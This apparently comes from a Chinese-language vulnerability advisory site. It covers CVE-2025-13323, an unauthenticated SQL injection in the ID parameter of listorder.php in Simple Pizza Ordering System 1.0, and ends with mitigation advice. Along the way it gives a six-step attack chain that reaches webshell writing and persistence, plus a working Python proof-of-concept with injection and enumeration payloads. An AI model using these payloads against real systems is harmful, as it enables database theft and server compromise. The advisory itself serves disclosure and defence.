IPBUF安全漏洞报告
English
CVE-2025-13323 CVSS 7.3 高危

CVE-2025-13323 Simple Pizza Ordering System SQL注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13323
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Simple Pizza Ordering System 1.0

相关标签

SQL注入Simple Pizza Ordering Systemcode-projectslistorder.php高危漏洞远程代码执行Web应用安全CVE-2025-13323

漏洞概述

CVE-2025-13323是code-projects开源项目Simple Pizza Ordering System 1.0版本中的一个高危安全漏洞。该漏洞存在于listorder.php文件中的ID参数,由于未对用户输入进行充分的过滤和验证,导致攻击者可以通过构造恶意SQL语句进行注入攻击。CVSS评分7.3,属于高危漏洞,具有网络远程利用特性,无需认证即可发起攻击。该漏洞已被公开披露并出现相关利用代码,攻击者可能通过此漏洞获取数据库敏感信息,包括用户数据、订单信息等,甚至可能在特定条件下实现系统权限提升。由于该系统通常部署于餐饮外卖业务场景,漏洞一旦被利用,将导致大量用户隐私数据泄露,带来严重的法律和商业风险。

技术细节

该SQL注入漏洞存在于Simple Pizza Ordering System 1.0的listorder.php文件中的ID参数。漏洞产生的根本原因是应用程序在处理用户输入时,未对ID参数进行严格的输入验证和SQL语句参数化处理。攻击者可以通过URL参数传递构造的恶意SQL payload,如使用UNION SELECT、布尔盲注或时间盲注等技术来提取数据库中的敏感信息。由于该参数直接拼接到SQL查询语句中,攻击者可以绕过认证机制访问其他用户订单数据,读取数据库中的用户名、密码、地址、电话等敏感信息。在某些配置下,攻击者还可能通过LOAD_FILE、INTO OUTFILE等语句读取服务器敏感文件或写入恶意文件,进而可能实现远程代码执行。攻击可远程发起,无需任何认证,CVSS向量显示攻击复杂度低,对机密性、完整性和可用性均有较低影响。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标站点使用的Simple Pizza Ordering System 1.0版本,并定位到存在漏洞的listorder.php文件
STEP 2
步骤2
漏洞探测:构造基础SQL注入payload(如1' OR '1'='1)测试目标参数ID,验证漏洞存在性
STEP 3
步骤3
指纹识别:通过SQL响应特征识别数据库类型(MySQL)和版本信息
STEP 4
步骤4
数据提取:使用UNION SELECT或盲注技术提取数据库中的表结构、用户数据、订单信息等敏感数据
STEP 5
步骤5
权限提升(可选):如果数据库用户权限足够,尝试通过INTO OUTFILE写入webshell实现远程代码执行
STEP 6
步骤6
持久化控制:利用获取的数据或系统权限进行进一步横向移动或长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13323 SQL Injection PoC # Target: Simple Pizza Ordering System 1.0 # File: /listorder.php # Parameter: ID import requests import sys target_url = "http://target.com/listorder.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", # Basic bypass "1' UNION SELECT 1,2,3,4,5,6-- -", # Union-based injection "1' AND SLEEP(5)-- -", # Time-based blind injection "1' AND (SELECT COUNT(*) FROM users)>0-- -", # Boolean-based injection ] def test_sql_injection(url, param='ID'): print(f"[*] Testing SQL Injection on {url}") print(f"[*] Parameter: {param}") for payload in payloads: try: params = {param: payload} response = requests.get(url, params=params, timeout=10) print(f"\n[+] Testing payload: {payload}") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for SQL error indicators sql_errors = ['mysql', 'sql', 'syntax', 'warning', 'error'] for error in sql_errors: if error.lower() in response.text.lower(): print(f" [!] Potential SQL Error detected!") break except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Database enumeration example def extract_database_info(url): print("\n[*] Extracting database information...") # Get database version version_payload = "1' UNION SELECT 1,@@version,3,4,5,6-- -" # Get current database db_payload = "1' UNION SELECT 1,database(),3,4,5,6-- -" # Get users users_payload = "1' UNION SELECT 1,user(),3,4,5,6-- -" print(f"[*] Version payload: {version_payload}") print(f"[*] Database payload: {db_payload}") print(f"[*] Users payload: {users_payload}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url) extract_database_info(target_url) print("\n[*] PoC completed. Further exploitation depends on specific environment.")

影响范围

Simple Pizza Ordering System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,建议采取以下临时缓解措施:1)使用Web应用防火墙规则阻止包含SQL注入特征的请求;2)对listorder.php文件进行紧急修复,在ID参数处理逻辑中添加输入验证和过滤函数;3)限制数据库账户权限,避免使用高权限数据库账户;4)暂时禁用受影响的功能模块;5)部署入侵检测系统监控异常SQL查询行为;6)加强对应用日志的实时监控,及时发现可能的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表